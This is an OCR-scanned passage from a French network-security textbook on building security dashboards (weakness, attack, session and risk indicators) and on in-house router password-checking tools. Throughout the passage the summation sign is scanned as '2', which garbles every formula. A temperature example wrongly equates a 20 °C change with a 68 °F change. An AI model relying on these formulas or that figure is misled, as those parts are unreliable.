- Quelle est la liste des evenements qui peuvent etre remontes pour chaque equipe- 
ment de securite supervise (evenements d'alerte, d'authentiflcation, etc.) ? 

- Peut-on detecter d'autres problemes sur les equipements de securite (panne de 
disque dur, espace disque sature, processeur sature, etc.) ? 



Mise en oeuvre d'un tableau de bord de la securite reseau 

L' elaboration d'un tableau de bord de la securite reseau n'est pas simple et demande du 
recul. 

L'objectif attendu d'un tel tableau de bord est de presenter le niveau de securite ou les 
risques de securite du reseau. Un risque de securite est en derniere analyse la composante 
d'une vulnerabilite, d'une consequence et d'une menace : 

• Vulnerabilite. II s'agit d'une faiblesse de securite, qui peut etre de nature principale- 
ment logique (suite a une attaque par un virus, etc.), physique (suite a une inondation 
de la salle contenant les equipements de telecommunications, etc.) ou humaine (suite a 
un acte malveillant ou a une erreur). La connaissance de ces faiblesses de securite n'est 
possible que par des audits reguliers de securite, effectues soit par l'equipe securite, 
soit par des consultants externes. 

• Consequence. II s'agit de l'impact (perte flnanciere, mauvaise publicite, etc.) sur 
l'entreprise de 1' exploitation d'une faiblesse de securite. Estimer une consequence 
d'une faiblesse de securite necessite generalement une connaissance approfondie de 
l'entreprise et requiert l'ensemble des experts de l'entreprise. 

• Menace. La menace designe l'exploitation d'une faiblesse de securite par un atta- 
quant, qu'il soit interne ou externe a l'entreprise. Souvent difficile a evaluer, la proba- 
bilite qu'un evenement exploite une faiblesse de securite s'appuie generalement sur 
des etudes statistiques. 

Le bon sens dicte que toute vulnerabilite ayant une consequence forte soit traitee en prio- 
rite (meme pour une probability d'occurrence faible). II n'est toutefois pas toujours 
possible de traiter une telle vulnerabilite, notamment si les ressources et couts necessai- 
res sont trop importants pour l'entreprise. 

Une vulnerabilite peut aussi dependre d'une autre vulnerabilite. Par exemple, certains 
equipements d'un reseau ne sont pas necessairement accessibles depuis la peripheric du 
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reseau, mais, si un equipement reseau de peripheric est attaque et penetre, les equipe- 
ments de deuxieme niveau peuvent alors devenir accessibles. 

Le tableau de bord de securite doit prendre en compte tous ces parametres pour traduire 
un niveau de securite ou de risque du reseau. En d'autres termes, le tableau de bord de 
securite fournit un ensemble d'indicateurs traduisant un etat donne non exhaustif de la 
securite du reseau, ou plutot de la non-application de la politique de securite reseau. 

II faut cependant etre tres vigilant avec les indicateurs dermis. Ces derniers doivent etre 
revus regulierement afln de prendre en compte les evolutions des architectures et des 
services reseau. 

Nous proposons dans cette section d'etablir un tableau de bord de la securite reseau 
compose des indicateurs suivants : 

• Indicateurs fondes principalement sur les resultats des controles interne et externe : 

- Nombre de faiblesses de securite detectees. 

- Pourcentage d'equipements impactes. 

- Nombre moyen de faiblesses de securite par equipement. 

- Nombre total de faiblesses de securite detectees par niveau d' impact reseau. 

• Indicateurs fondes principalement sur les evenements re^us par les equipements de 
securite : 

- Nombre d'attaques detectees par equipement de securite en fonction de leur perti- 
nence (compter le nombre d'attaques sur un coupe-feu en frontal d' Internet, par 
exemple, n'a aucune pertinence). 

- Nombre d'attaques detectees par sous-reseau. 

- Nombre d'attaques detectees par service reseau. 

- Nombre de sessions reussies et echouees par utilisateur et par equipement. 

- Nombre de commandes critiques et non critiques par utilisateur et par equipement. 

• Indicateurs fondes principalement sur les resultats des controles interne et externe et 
les evenements re^us par les equipements de securite : 

- Distribution des probabilites des impacts reseau. 

- Evolution du risque. 

Ces indicateurs doivent etre consideres comme des apports d' information sur la securite 
du reseau et non comme des valeurs reelles de la securite du reseau. Le danger encouru 
avec les indicateurs est qu'ils engendrent l'objectif de les rendre a tout prix « positifs », 
sans prendre en compte que l'indicateur ne traduit pas reellement la securite du reseau. 
La prudence est done de mise, et il convient de raisonner sur un ensemble d'indicateurs, 
qui donnent un aper^u plus realiste de la securite reseau. 

Avant de detailler ces indicateurs, il est recommande de se poser les questions suivantes : 
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• A-t-on le droit de comparer des evenements de securite entre eux ? Par exemple, un 
evenement emis par un systeme de detection d' intrusion peut-il etre compare avec un 
evenement emis par un pare-feu, sachant qu'il n'a pas ete emis sur des criteres 
identiques ? 

• Sur quelles echelles ces evenements de securite sont-ils mesures ? Par exemple, si un 
evenement fait reference a des valeurs, sur quelle echelle de mesure ces valeurs sont- 
elles calculees ? 

• A-t-on le droit de faire des simplifications et approximations sans supprimer ou 
eliminer des elements de securite contenus dans des evenements ? Par exemple, il faut 
s' assurer que les regies de filtrage des evenements ne laissent pas passer des evene- 
ments de securite majeurs. 

• A-t-on le droit d'appliquer certains operateurs mathematiques, tels que moyenne, 
variance, etc. ? Par exemple, si des valeurs ont ete calculees sur des echelles diffe- 
rentes, il est interdit de realiser des operations mathematiques elementaires sur ces 
valeurs pour les comparer. 

Un exemple classique sur les problemes de mesure et d' echelle consiste a comparer des 
variations de temperature. Prenons le cas des villes de Paris et de New York : 

• Mardi 10 mai 1999, la temperature a Paris etait de 20° le matin et de 40° l'apres-midi. 

• Mardi 10 mai 1999, la temperature a New York etait de 20° le matin et de 40° l'apres- 
midi. 

La temperature a Paris est mesuree en degres Celsius, avec une variation de 20 °C. La 
temperature a New York est mesuree en degres Fahrenheit avec une variation de 20° F. Le 
changement d' echelle entre les mesures Fahrenheit et Celsius est donne par la formule 
F = (C x 1,8) + 32, c'est-a-dire qu'une variation de 20 °C a Paris correspond a une varia- 
tion de 68° F a New York. 

Cet exemple illustre bien que la nature des echelles sur lesquelles sont mesures les evene- 
ments ne permet pas d'appliquer n'importe quel type d'operation. 

Nous presentons en annexe quelques-uns des nombreux travaux qui tentent d'etablir des 
mesures pour la securite d'un systeme d' information. 

Les indicateurs de base 

Suivant 1' architecture et les services reseau associes, il est possible de decouper le reseau 
en sous-domaines. Chaque domaine fait alors l'objet d'indicateurs dedies a son perimetre. 

Evolution du nombre de faiblesses de securite detectees 

L' evolution dans le temps du nombre de faiblesses de securite detectees par les controles 
interne et externe permet de donner une mesure de 1' application de la politique de secu- 
rite reseau. 



Tableau de bord de la securite reseau 



393 



Chapitre 14 



Si Ton compte le nombre de faiblesses de securite detectees, on obtient les parametres 
suivants : 

IS(contr61e interne) = 2, faiblesses de securite 

IS(controle externe) = 2, faiblesses de securite 

Ces courbes doivent globalement evoluer ensemble, puisque la securite interne doit refle- 
ter la securite externe. Toute croissance d'une des deux courbes ou tout ecart entre les 
deux courbes doit conduire a une investigation de securite. 

L' experience montre que la croissance des courbes est souvent associee a l'ajout ou a la 
modification d'equipements reseau qui ne suivent pas les procedures de securite. D'une 
maniere generale, les courbes doivent tendre vers la valeur 0, traduisant que la politique 
de securite reseau deflnie est appliquee. 

L' elaboration de telles courbes consiste a prendre comme axe des abscisses le temps, 
correspondant aux dates des differents controles interne et externe, et comme axe des 
ordonnees le nombre de faiblesses de securite detectees par les controles interne et 
externe. 

La figure 14.12 illustre le fait que les faiblesses detectees par le controle interne de 
securite sont les memes que celles detectees par le controle externe au mois de fevrier. 
Apres correction des faiblesses de securite, on observe une baisse commune des deux 
courbes de mars a mai. Si la courbe du controle externe ou interne ne decroissait pas, 
une investigation de securite devrait etre menee afln d' identifier la cause de ces faibles- 
ses de securite. 



Figure 14.12 
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La pertinence de ces courbes necessite une revue permanente a la fois des evolutions des 
configurations des equipements et de la politique de securite reseau. Une nouvelle fois, 
ces courbes ne retranscrivent pas forcement un risque de securite mais donnent un indi- 
cateur de 1' application de la politique de securite reseau. 
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Evolution du pourcentage du nombre d'equipements impactes 

En s'appuyant sur les faiblesses de securite detectees lors des controles interne et externe 
sur les equipements constituant le reseau, on en deduit la liste des equipements ayant des 
faiblesses de securite ou etant impactes. 

Si Ton divise le nombre d'equipements ayant des faiblesses de securite par le nombre 
total d'equipements, on obtient le pourcentage d'equipements impactes : 



IS(contr61e interne) = 



IS(controle externe) = 



2 equipements ayant des faiblesses de securite 

2 equipements 

2 equipements ayant des faiblesses de securite 

2 equipements 



Ces courbes permettent de savoir si les faiblesses de securite impactent le reseau dans 
son ensemble ou une partie du reseau seulement, avec un indicateur entre et 100 %. 

Tous les cas de figure peuvent se presenter, allant d'une faiblesse de securite impactant 
1' ensemble des equipements reseau a de nombreuses faiblesses de securite impactant un 
seul equipement reseau. Seules les consequences des faiblesses de securite detectees 
peuvent indiquer si une configuration est plus dangereuse pour la securite du reseau 
qu'une autre. Dans tous les cas, une evolution des courbes superieure a 10 % doit 
conduire a une investigation de securite. 

L' experience montre que la croissance des courbes est souvent associee a l'ajout d'equi- 
pements reseau ou a des modifications d'equipements reseau qui ne suivent pas les 
procedures de securite. Les courbes doivent tendre vers la valeur 0, traduisant que la poli- 
tique de securite reseau deflnie est appliquee. 

L' elaboration de telles courbes consiste a prendre comme axe des abscisses le temps, 
correspondant aux dates des differents controles interne et externe, et comme axe des 
ordonnees le pourcentage du nombre d'equipements impactes. 

La figure 14.13 illustre le fait que les equipements impactes par les faiblesses de securite 
detectees par le controle de securite interne semblent etre les memes que celles detectees 
par le controle externe. Le nombre d'equipements impactes au mois de fevrier est impor- 
tant (superieur a 50 %). Apres correction des faiblesses de securite, on observe une decrois- 
sance des deux courbes, confirmant qu'il n'existe pas de faiblesse de securite non connue. 

Evolution du nombre moyen de faiblesses de securite par equipement 

En s'appuyant sur 1' ensemble des faiblesses de securite detectees lors des controles 
interne et externe sur les equipements constituant le reseau, on deduit le nombre de 
faiblesses de securite detectees. 

En divisant le nombre de faiblesses de securite detectees par le nombre total d'equipe- 
ments, on obtient le nombre moyen de faiblesses de securite par equipement. Par contre, 
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Figure 14.13 
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si Ton divise le nombre de faiblesses de securite par le nombre d'equipements impactes, 
on obtient le nombre moyen effectif de faiblesses de securite par equipement : 



IS(nombre moyen) = 



2 faiblesses de securite 



2 equipements 



IS(nombre effectif) = 



2 faiblesses de securite 



2 equipements impactes 



II faut mentionner ici l'importance de l'homogeneite dans la nature des equipements 
reseau. Comparer des equipements externes avec des equipements internes, ou des equi- 
pements de domaines differents n'a aucun sens. 

L' ecart entre les deux courbes permet de mesurer 1' impact des faiblesses de securite sur 
l'ensemble des equipements. Un grand ecart entre les deux courbes signifle a un instant 
donne que les faiblesses de securite s'appliquent a un nombre limite d'equipements. A 
1' inverse, une egalite entre les courbes signifle que les faiblesses de securite s'appliquent 
au nombre total d'equipements. 

Les valeurs prises par la courbe « nombre moyen effectif des faiblesses de securite » sont 
toujours egales ou superieures aux valeurs de la courbe « nombre moyen des faiblesses 
de securite ». Dans tous les cas, une evolution des deux courbes doit conduire a une 
investigation de securite. 

L' experience montre que la croissance des courbes est souvent associee a l'ajout d'equipe- 
ments reseau ou a des modifications d'equipements reseau qui ne suivent pas les procedu- 
res de securite. Comme precedemment, les courbes doivent tendre vers la valeur 0. 

La figure 14.14 illustre une croissance des courbes au mois de fevrier, avec un ecart 
signiflant qu'un nombre de faiblesses de securite ont ete detectees sur un nombre limite 
d'equipements. Apres correction des faiblesses de securite, une nouvelle croissance des 
courbes indique cette fois un nombre de faiblesses de securite touchant un nombre 
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important d' equipements. On constate enfln une decroissance des courbes a partir du 
mois de mai, apres correction des faiblesses de securite. 

Evolution du nombre total de faiblesses de securite detectees 
par niveau d'impact reseau 

L' evolution dans le temps du nombre total de faiblesses de securite (detectees par les 
controles interne et externe sur les equipements constituant le reseau) par impact reseau 
donne une indication de la non-application de la politique de securite reseau. 

Pour y parvenir, nous devons definir pour chaque faiblesse de securite detectee par 
impact reseau (faible, moyen, fort) traduisant le risque pris par le reseau si la faiblesse est 
utilisee d'une maniere quelconque : 



IS(impact faible reseau) = 2 faiblesses de securite(impact faible reseau) 
IS(impact moyen reseau) = 2 faiblesses de securite(impact moyen reseau) 
IS(impact fort reseau) = 2 faiblesses de securite(impact fort reseau) 



L'objectif de cette courbe est d'etablir un plan d' action fonde sur 1' impact reseau des 
faiblesses de securite detectees. 

La figure 14.15 illustre, pour le mois de fevrier, une forte croissance des faiblesses de 
securite cumulees pour les controles de securite interne et externe. Les faiblesses de 
securite ay ant un impact « fort » ont ete corrigees en premier, comme 1' illustre la diminu- 
tion du nombre de ces faiblesses dans le temps. De meme, les faiblesses de securite ayant 
un impact « moyen » ont ete reduites a partir du mois d'avril, suite a la correction des 
faiblesses de securite ayant un impact « fort ». 

La pertinence de ces courbes necessite une revue permanente a la fois de revolution des 
configurations des equipements et de la politique de securite reseau. Une nouvelle fois, 
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Figure 14.15 
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ces courbes ne retranscrivent pas forcement un risque de securite mais donnent un indi- 
cateur d'impact du reseau dans le temps. 

Evolution du nombre d'attaques detectees par equipement de securite 

Si Ton considere que chaque equipement de securite (pare-feu, systeme de detection 
d'intrusion, ACL de routeurs, etc.) remonte des evenements de securite (alertes, etc.), 
revolution dans le temps du nombre d'attaques detectees par equipement de securite 
offre une vue transversale des alertes de securite : 

IS(pare-feu) = 2 attaques detectees 

IS(systeme de detection d'intrusion) = 2 attaques detectees 

IS(ACLs) = 2 violations detectees 

L' evolution de ces courbes fournit un historique precieux et permet de detecter des correla- 
tions entre les evenements generes par les equipements de securite. Pour toute variation ou 
si les courbes tendent a croitre ensemble, une investigation de securite doit etre menee. 

Les courbes associees au nombre d'attaques detectees par equipement reseau n'ont pas, 
a priori, de correlation. Par exemple, un pare-feu flltrant du traflc Internet emet plus 
d'evenements ou d'alertes de securite, puisqu'il est plus expose aux attaques externes. 
Un systeme de detection d'intrusion integre au cceur du reseau d'entreprise ne devrait 
pas, en theorie, emettre d'evenements ou d'alertes de securite, a moins que le reseau 
d'entreprise ne soit penetre ou victime d'un ver. En fait, les correlations possibles entre 
les courbes dependent fortement de 1' architecture du reseau et de 1' emplacement des 
equipements de securite dans cette architecture. 

La figure 14.16 illustre, par les variations simultanees des courbes aux mois de fevrier et 
d'avril, une correlation des attaques ainsi qu'une possible tentative de penetration. La 
croissance et la decroissance simultanees des courbes doivent mener a une investigation 
de securite afin de clarifier si cette baisse est due a un arret des tentatives de penetration, 
ou si elles traduisent qu'une penetration a reussi. 
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La pertinence de ces courbes necessite une revue permanente a la fois des evolutions 
d' architecture et de la politique de securite reseau. Une nouvelle fois, ces courbes ne 
retranscrivent pas forcement un risque de securite mais donnent un indicateur de 1' appli- 
cation de la politique de securite reseau. 

Evolution du nombre d'attaques detectees par sous-reseau 

Si Ton considere que chaque equipement de securite remonte des evenements de securite 
et que chaque evenement est rattache a un sous-reseau donne (intranet, extranet, Inter- 
net), revolution dans le temps du nombre d'attaques detectees par sous-reseau permet de 
donner un point de vue transversal de la securite des sous-reseaux de l'entreprise : 



IS(intranet) 
IS(internet) 
IS(extranet) 



2 attaques detectees (pare-feu, IDS, etc.) 
2 attaques detectees (pare-feu, IDS, etc.) 
2 attaques detectees (pare-feu, IDS, etc.) 



L' evolution de ces courbes donne en outre un historique precieux et permet de detecter 
des correlations ou faiblesses de securite entre les sous-reseaux de l'entreprise. Pour 
toute variation de courbes simultanees, une investigation de securite doit etre menee. 

Les courbes associees au nombre d'attaques detectees par sous-reseau n'ont pas, a priori, 
d' elements de correlation. Par exemple, le sous-reseau Internet emet plus d' evenements 
que le sous-reseau intranet. Cependant, une croissance commune des courbes indique 
qu'une attaque (element de correlation) a permis de penetrer les differents sous-reseaux. 

La figure 14.17 illustre, au mois de fevrier, une croissance des courbes Internet et intra- 
net. Cela peut amener a conclure a une possible penetration du reseau intranet, surtout 
que les courbes tendent a decroitre simultanement au mois de mars. Une investigation de 
securite doit etre menee pour clarifier ces variations. De maniere analogue, une crois- 
sance des courbes extranet et intranet peut amener a conclure a une possible penetration 
du reseau intranet, surtout que les courbes tendent a decroitre simultanement au mois de 
mai. Une investigation de securite doit aussi etre menee pour clarifier ces variations. 
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Evolution du nombre d'attaques detectees par service reseau 

Si Ton considere que chaque equipement de securite remonte des evenements de securite 
et que chaque evenement correspond a un service reseau donne (service TCP numero 25/ 
SMTP, service TCP numero 80/HTTP), revolution dans le temps du nombre d'attaques 
detectees par service permet de donner un point de vue transversal de la securite des 
services reseau de l'entreprise : 

IS(80) = 2 attaques detectees sur le port 80 (pare-feu, IDS, etc.) 

ISC 25 ) = 2 attaques detectees sur le port 80 (pare-feu, IDS, etc.) 

ISC 20/21 ) = 2 attaques detectees sur le port 20/21 (pare-feu, IDS, etc.) 

L' evolution de ces courbes permet de detecter des correlations ou faiblesses de securite 
entre les services reseau de l'entreprise. Pour toute variation ou si les courbes tendent a 
croitre ensemble, une investigation de securite doit etre menee. 

Les courbes associees au nombre d'attaques detectees par service reseau n'ont pas, a 
priori, d' elements de correlation. Par exemple, le service de messagerie emet plus 
d'evenements que le service de transfert de flchiers. En effet, statistiquement, et d'apres 
les etudes des attaques menees sur Internet, les protocoles applicatifs sont les cibles 
majeures des attaques (HTTP). Cependant, une croissance commune des courbes indique 
qu'une attaque (element de correlation) a permis de penetrer les differents services 
reseau. 

La figure 14.18 illustre une forte probabilite de tentative de penetration de par la correla- 
tion evidente des evolutions des courbes au mois d'avril. Cependant, la decroissance des 
courbes au mois de mai indique soit que les attaques ont cesse, soit qu'une attaque a 
reussi. Une investigation de securite doit etre menee pour clarifler ces variations. 

Evolution du nombre de sessions reussies et echouees 
par utilisateur par equipement 

Si Ton considere que chaque equipement de securite remonte des evenements de trace 
sur les acces reussis et echoues, revolution dans le temps du nombre de sessions reussies 
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et echouees par utilisateur et par equipement permet de donner un point de vue de la 
securite des acces au reseau de l'entreprise : 



2 sessions reussies 



IS(sessions reussies)= 



2 (util isateurs * sessions autorisees) par equipement 



2 sessions echouees 
IS (sessions echouees )= 

2 (util isateurs * sessions autorisees) par equipement 
Les donnees sont echantil lonnees pour chaque interval le de temps [t if t i+1 ] en ne 
tenant pas compte des doublons util isateurs. 

II doit etre aussi note que chaque prof i 1 d'util isateur determine le nombre de 
sessions simultanees possibles par utilisateur et par equipement. 

L' evolution de ces courbes permet de detecter les multiples sessions pour un meme utili- 
sateur par equipement ainsi que les attaques possibles sur un compte utilisateur par equi- 
pement. Si les courbes tendent a croitre (superieur a 1), une investigation de securite doit 
etre menee. 

De maniere theorique, l'indicateur IS(sessions reussies) devrait etre generalement egal a 
1 s'il y a des sessions en cours dans 1'intervalle de temps [t i? tj + J ou egal a 0. Tout ecart 
montre des sessions simultanees non autorisees. De meme, l'indicateur IS(sessions 
echouees) devrait etre generalement egal a 0. II peut etre cependant superieur a 1 s'il y a 
des sessions echouees cumulees dans 1'intervalle de temps [t i9 t i + 1 ]. 

La figure 14.19 illustre une forte probabilite de tentative de penetration entre les temps 1 
et 2 (sessions reussies superieures a 1), ainsi qu'une activite anormale de sessions 
echouees entre les temps 3 et 4. Une investigation de securite doit etre menee pour clari- 
fler ces variations. 

La pertinence de ces courbes necessite une revue permanente des comptes et de leurs 
proflls. 
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Evolution du nombre de commandes critiques et non critiques 
par utilisateur et par equipement 

Si Ton considere que chaque equipement de securite remonte des evenements de traces 
sur les commandes lancees, revolution dans le temps du nombre de commandes criti- 
ques et non critiques par utilisateur et par equipement permet de donner un point de vue 
de la securite des commandes lancees sur le reseau de l'entreprise : 

2 commandes critiques 
IS(commandes critiques normales)= 

2 (util isateurs autorises) par equipement 

2 commandes critiques 
IS(commandes critiques anormales)= 

2 (util isateurs non autorises) par equipement 

2 commandes non critiques 
IS(commandes non critiques)= 

2 util isateurs par equipement 
Les donnees sont echantil lonnees pour chaque intervalle de temps [t^ t i+1 ] en ne 
tenant pas compte des doublons util isateurs. 

II doit etre aussi note que chaque profil d'util isateur determine le nombre de 
sessions simultanees possibles par utilisateur et par equipement. 

L' evolution de ces courbes permet de detecter les evolutions anormales de commandes 
par utilisateur ainsi que les violations associees a des proflls utilisateur. 

De maniere theorique, ces indicateurs permettent en fait de determiner un profil statisti- 
que des commandes passees arm de determiner toute deviation. De plus, l'indicateur 
IS (commandes critiques anormales) donne les violations directes des proflls utilisateur 
face a des commandes qui peuvent impacter les equipements. 

La figure 14.20 illustre une activite anormale de commandes critiques aux temps 1 et 3 
(detection statistique), ainsi que plusieurs violations de proflls d'utilisateurs par la detec- 
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Figure 14.20 
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tion de commandes critiques anorrnales. Une investigation de securite doit etre menee 
pour clarifler ces variations. 

La pertinence de ces courbes n'apparait qu'apres une periode de temps necessaire a 
l'etablissement de valeurs significatives. Elle necessite une revue permanente des comp- 
tes et de leurs proflls. 



Evolution du risque 

Si Ton calcule tous les scenarios d'evenements possibles par le biais d'un arbre probabi- 
liste (fonde sur les faiblesses de securite prealablement detectees) et si Ton definit quatre 
niveaux d' impacts (aucun, faible, moyen, fort), il est possible de determiner les probabi- 
lites associees pour chaque niveau d' impact, comme l'illustrent les indicateurs suivants : 

ISCprobabi 1 i te impact f aibl e)= 2 (probabi 1 ites) de l'arbre ayant un impact faible 
ISC probabi 1 ite impact moyen)= 2 (probabi 1 i tes ) de l'arbre ayant un impact moyen 
ISCprobabi 1 i te impact fort)= 2 (probabi 1 ites ) de l'arbre ayant un impact fort 
IS(probabil ite aucun impact)= 1 - IS(probabil ite impact faible)- IS( probabi 1 i te impact 
moyen) - IS( probabi 1 i te impact fort) 

La figure 14.21 illustre revolution dans le temps de la distribution des probabilites des 
impacts reseau pour chaque audit. 

Une fois calculees les probabilites des impacts reseau, il suffit de quantifier les conse- 
quences associees a ces impacts reseau pour calculer le risque associe a la non-applica- 
tion de la politique de securite. 

Le risque est calcule comme une esperance mathematique en multipliant les probabilites 
par les consequences associees aux impacts reseau : 

IS(risque)= 2 (probabilites) * (consequences) 

La figure 14.22 illustre revolution dans le temps du risque pour chaque audit. 
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Figure 14.21 
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Tableaux de bord et perimetres de securite 

Un tableau de bord de la securite reseau est en fait constitue de plusieurs tableaux de bord 
de la securite representant un domaine precis. Comme indique precedemment a propos des 
strategies d'une politique de securite reseau, le reseau et ses systemes doivent etre confines 
dans des perimetres de securite afln de consolider la securite du reseau en couches. 

De meme, un tableau de bord de la securite reseau se doit de refleter cette vue et de 
proposer des tableaux de bord par perimetre de securite et domaine reseau, comme 
l'illustre la figure 14.23. 

Que ce soit un tableau de bord pour un perimetre ou un domaine reseau, chaque tableau 
est constitue d'un ensemble d'indicateurs. Ces indicateurs peuvent reprendre ceux qui 
ont ete proposes precedemment ou en introduire de nouveaux : 
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tableau de bord du perimetre de securite d'acces (routeurs, commutateurs, serveurs 
DNS, serveurs de messagerie, serveurs Web, pare-feu) : 

- evolution du nombre de faiblesses de securite ; 

- evolution du nombre d'attaques ; 

- evolution du niveau de risque ; 

tableau de bord du domaine reseau, hormis les domaines A et B (routeurs, commuta- 
teurs, serveurs DNS) : 

- evolution du nombre de faiblesses de securite ; 

- evolution du nombre d'attaques ; 

- evolution du niveau de risque ; 

tableau de bord du perimetre d'acces et du domaine A : 
tableau de bord du perimetre d'acces et du domaine B. 



Perimetre de securite d'acces au reseau 

(commutateurs, routeurs, pare-feu, serveurs de messagerie, etc.) 




Tableaux de bord de la securite reseau 

- Tableau de bord du perimetre de securite dacces 

- Tableau de bord du domaine reseau hormis le domaine A et B 

- Tableau de bord du perimetre dacces et du domaine A 

- Tableau de bord du perimetre dacces et du domaine B 

- Etc. 



Figure 14.23 

Perimetre s des tableaux de bord de la securite d'un reseau 
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En resume 



Le controle de la securite reseau (interne et externe) fait partie integrante de la demarche 
securitaire d'une entreprise. Comme nous l'avons detaille, ce controle devient aussi 
complexe que les techniques mises en place contre les attaques. 

L'un des objectifs majeurs des controles de securite est d'etablir des tableaux de bord de 
securite refletant l'application de la politique de securite reseau de l'entreprise. En aucun 
cas il ne faut assimiler ces courbes a un niveau de securite reseau de l'entreprise. Elles ne 
donnent qu'un etat d' application de la politique de securite. 

Nous avons detaille dans toute cette partie IV de l'ouvrage diverses methodes permettant 
d'etablir des controles de securite arm d'elaborer des tableaux de bord de la securite 
permettant de controler l'application des regies de securite. 

La partie V presente un ensemble d'outils maison permettant de construire plus facile- 
ment des tableaux de bord de la securite reseau et se conclut par une etude de cas repre- 
nant l'ensemble des concepts introduits aux parties precedentes. 



Partie V 



Etude de cas 



L' etude de cas presentee dans cette partie a pour objectif d'illustrer les notions abor- 
dees tout au long de l'ouvrage dans une perspective pratique. Elle s'ouvre par la 
presentation d'une serie d'outils maison que nous mettons a a disposition du lecteur et 
se poursuit par la mise en oeuvre d'un exemple concret d' evolution d'une entreprise et 
de sa securite. 

Au travers des outils maison, notre objectif est de faciliter le controle des configura- 
tions reseau et l'elaboration d'un tableau de bord de la securite reseau. Ces outils sont 
mis en pratique dans l'etude de cas dans un contexte de reseau d'entreprise. 

Le chapitre 15 detaille ces outils, qui permettent de controler la consistance des ACL 
et la configuration d'equipements Cisco et Juniper, ainsi que de calculer une valeur de 
risque. La conception des programmes et des exemples sont egalement fournis. 

L'etude de cas est decoupee en deux chapitres, qui retracent les principales etapes de 
revolution du reseau d'une entreprise Active, Radio Voie, depuis son premier reseau 
interne de type PME jusqu'au stade de la multinationale. Au travers de revolution de 
cette entreprise et de son reseau, sont illustres a la fois les besoins de securite et les 
politiques correspondant a chaque etape du developpement de 1' entreprise. 

Le chapitre 16 detaille la mise en place du premier reseau interne de Radio Voie puis 
son ouverture vers Internet et a des tierces parties et enfln son premier contrat de 
defense militaire, a tres fortes contraintes de securite. 

Le chapitre 17 presente la transformation de Radio Voie en une multinationale devant 
gerer un nombre important d'equipements. 

Chaque etape de cette evolution ideale est structuree en une etude de risques, une poli- 
tique de securite reseau tenant compte des besoins exprimes, une solution de securite 
adaptee, un bilan des risques couverts et non couverts et des tableaux de bord de la 
securite. 
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Nous avons vu au chapitre 14 les principes permettant d'evaluer la securite d'un reseau et 
de construire des tableaux de bord de la securite reseau. On constate souvent que les 
produits logiciels disponibles sur le marche presentent des limitations. Ces limitations 
sont generalement intrinseques au modele sous-jacent desdits produits, qui ne peuvent 
prendre en compte des besoins de securite speciflques. 

L'objectif de ce chapitre est de montrer, par des exemples concrets, la relative facilite 
avec laquelle il est possible de concevoir des automatismes de diagnostic, de mesures et 
de tableaux de bord pour repondre a ces besoins speciflques. 

Bien que ces outils maison n'offrent pas d'interfaces professionnelles, ils repondent de 
maniere efficace a certains problemes de securite (les sources de ces outils sont disponi- 
bles a l'adresse http://tableaux.levier.org). 

Ils permettent en outre d'obtenir une puissance d'expression plus riche qu'une simple 
comparaison textuelle sur la base de patrons litteraux. Ce pouvoir d'expression a un 
sens uniquement sous l'hypothese raisonnable qu'il traduit des fonctions effectivement 
calculables. 

Ce chapitre est structure selon une approche ascendante : les outils de base, permettant 
d'evaluer un critere atomique, sont presentes en premier, et les outils plus puissants a la 
fin. Bien que ces outils soient fortement orientes analyse de configuration de routeurs, le 
principe general de leur fonctionnement vaut aussi pour d'autres types d'equipement 
reseau, comme les pare-feu. 
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En regie generale, ces outils necessitent d' avoir acces a un flchier de configuration afln de 
l'interpreter. lis ont ete developpes selon une approche « offline » afln d'eviter toute inte- 
raction directe avec le reseau. 

Tous les outils decrits dans ce chapitre sont accessibles a un deuxieme niveau universi- 
taire. Certains d'entre eux exigent des connaissances en cryptographie, en theorie des 
langages et en compilation, en theorie des graphes, en structures des donnees et en algo- 
rithmique. Comme ces outils maison sont parfois compares a des outils standards Unix, 
une connaissance de ceux-ci est utile. 

Les exemples sont tous realises sur un systeme Linux appele margot. Ainsi, 1' entree au 
niveau de l'interprete de commandes (shell) est identifiee par le prompt : 

margot$ 

Analyse de la conformite des mots de passe 

Un grand nombre de routeurs Cisco (plusieurs dizaines de milliers) sont geres par une 
equipe, chaque membre de l'equipe devant pouvoir s'authentifler individuellement. II est 
possible pour cela de deployer un serveur AAA et de configurer les routeurs pour relayer 
1' authentication a ce serveur. Un mecanisme, dit « mode catastrophe », doit etre prevu 
pour pallier une perte eventuelle de connectivite entre les routeurs et le serveur AAA. II 
s'agit de configurer egalement les mots de passe d'acces en urgence. 

On distingue trois mots de passe catastrophe : 1' acces session VTY, le mode privilegie 
ENABLE et 1' acces console. Si le nombre d'equipements est important, un grand nombre 
de mots de passe doivent etre partages par l'equipe. Ces mots de passe ont par ailleurs 
une duree de vie tres longue. 

Ce modele, que nous appelons « livret de mots de passe », est en fait une base de donnees 
relationnelle dans laquelle un mot de passe distinct est associe a un couple <routeur, type 
d'acces>. 

La politique de securite demande de verifier la conformite a posteriori de ces mots de 
passe dans chaque configuration. De plus, il faut verifier la non-divulgation du mot de 
passe ENABLE dans chaque configuration. 

Les outils GENPASS et Cisco_CRYPT sont ecrits chacun en moins de 500 lignes C et 
permettent de realiser ces controles. 

Conception des outils 

Plutot que de generer aleatoirement des mots de passe pour ensuite les integrer dans une 
veritable base de donnees (chiffree), l'outil GENPASS est con^u pour offrir une solution 
de remplacement a la gestion d'une base de donnees distribuee. 

GENPASS s'appuie sur les caracteristiques communes a tous les generateurs de signa- 
ture cryptographique (MD5, SHA-1, etc.) : 
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• II est tres difficile de retrouver le texte initial a partir de la signature. 

• Les collisions de signatures sont tres peu probables. 

GENPASS accepte en parametre un secret, le nom d'un routeur et le type d'acces. II 
calcule alors la signature cryptographique des parametres et imprime une image de cette 
signature, comme l'illustre la figure 15.1. 



Figure 15.1 

Generation de mots de 
passe 



Secret [ 



Routeur [ 



Acces 




Motde 
passe 



Les avantages de cette approche sont relativement evidents : 

• Nul besoin de mise a jour de la base de donnees pour un nouveau routeur, ou un 
nouveau type d'acces ; le livret est une implementation algorithmique sans base de 
donnees. 

• L' implementation est beaucoup plus efficace qu'une base de donnees ; le programme 
lui-meme est public et le partage d'un unique secret est leger. 

En revanche, il faut etre conscient des risques suivants : 

• C'est le secret qui definit le livret, done 1' ensemble des mots de passe ; il convient done 
de le proteger adequatement. 

• II est impossible de modifier un seul mot de passe sans tous les modifier egalement ; ce 
modele de gestion de mots de passe ne convient done qu'a des mots de passe ay ant tous 
une meme duree de vie. 

Par souci de completude, GENPASS integre une fonctionnalite de generation aleatoire 
utilisee pour forger le secret. GENPASS utilise pour cela la bibliotheque cryptographique 
de OpenSSL, qui offre toutes les primitives necessaires. 

Dans le monde Cisco, les mots de passe ENABLE sont codes dans la configuration avec 
